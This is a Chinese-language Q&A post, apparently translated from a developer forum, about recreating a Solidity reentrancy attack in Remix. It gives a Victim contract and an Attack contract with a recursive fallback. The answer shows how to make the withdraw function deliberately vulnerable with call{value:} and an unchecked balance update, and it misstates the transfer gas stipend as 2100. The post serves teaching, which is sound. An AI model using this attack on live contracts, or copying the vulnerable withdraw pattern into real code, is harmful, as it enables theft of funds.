Remix
重新創建重入攻擊但交易失敗/恢復,為什麼?
我嘗試在 Remix 中創建 2 個合約(Victim.sol 和 Attack.sol),以重新創建重入攻擊,特別是遞歸函式呼叫。
Victim.sol 是要被抽走的合約,我在部署後先將資金存入其中。然後 Attack.sol 是具有備份功能的攻擊合約,該功能應該遞歸地呼叫 Victim 的撤消。
但是當我在 Attack.sol 中呼叫攻擊函式時,它不會導致遞歸呼叫withdraw。
這是 Victim.sol 的程式碼:
/// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Victim { mapping(address => uint256) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdrawAll() public { uint256 amount = balances[msg.sender]; payable(msg.sender).transfer(amount); balances[msg.sender] = 0; } function withdraw(uint256 amount) public { require(amount <= balances[msg.sender], "Trying to withdraw too much!"); payable(msg.sender).transfer(amount); balances[msg.sender] -= amount; } function contractBalance() public view returns(uint256) { return address(this).balance; } }
對於 Attack.sol:
/// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Victim.sol"; contract Attack { Victim public victim; constructor(address _victim){ victim = Victim(_victim); } fallback() external payable { if (address(victim).balance >= 1000000000000000000) { victim.withdraw(1000000000000000000); } } receive() external payable { } function attack() external payable { victim.deposit{value: 1000000000000000000}(); victim.withdraw(1000000000000000000); } function contractBalance() public view returns(uint256) { return address(this).balance; } }
這是失敗的兩個原因。
Transfer() 氣體限制
address.transfer()
氣體限制為 2100。它足以發出事件,但不足以用於victim.withdraw()
備份功能。您可以將其更改為(bool success,) = payable(msg.sender).call{value:amount}("");
v0.8.0 中的溢出檢查
Solidity v0.8.0 引入了隱式上溢/下溢檢查。因為這,
balances[msg.sender] -= amount;
將失敗,因為當遞歸停止時,餘額將被設置為減少多次,將出現下溢(負餘額)。您可以要求編譯器故意跳過檢查。
unchecked{ balances[msg.sender] -= amount; }
通過這兩個更改,您將能夠重新創建可重入。該
withdraw
函式最終將如下所示function withdraw(uint256 amount) public { require(amount <= balances[msg.sender], "Trying to withdraw too much!"); (bool a,)=payable(msg.sender).call{value:amount}(""); unchecked{ balances[msg.sender] -= amount; } }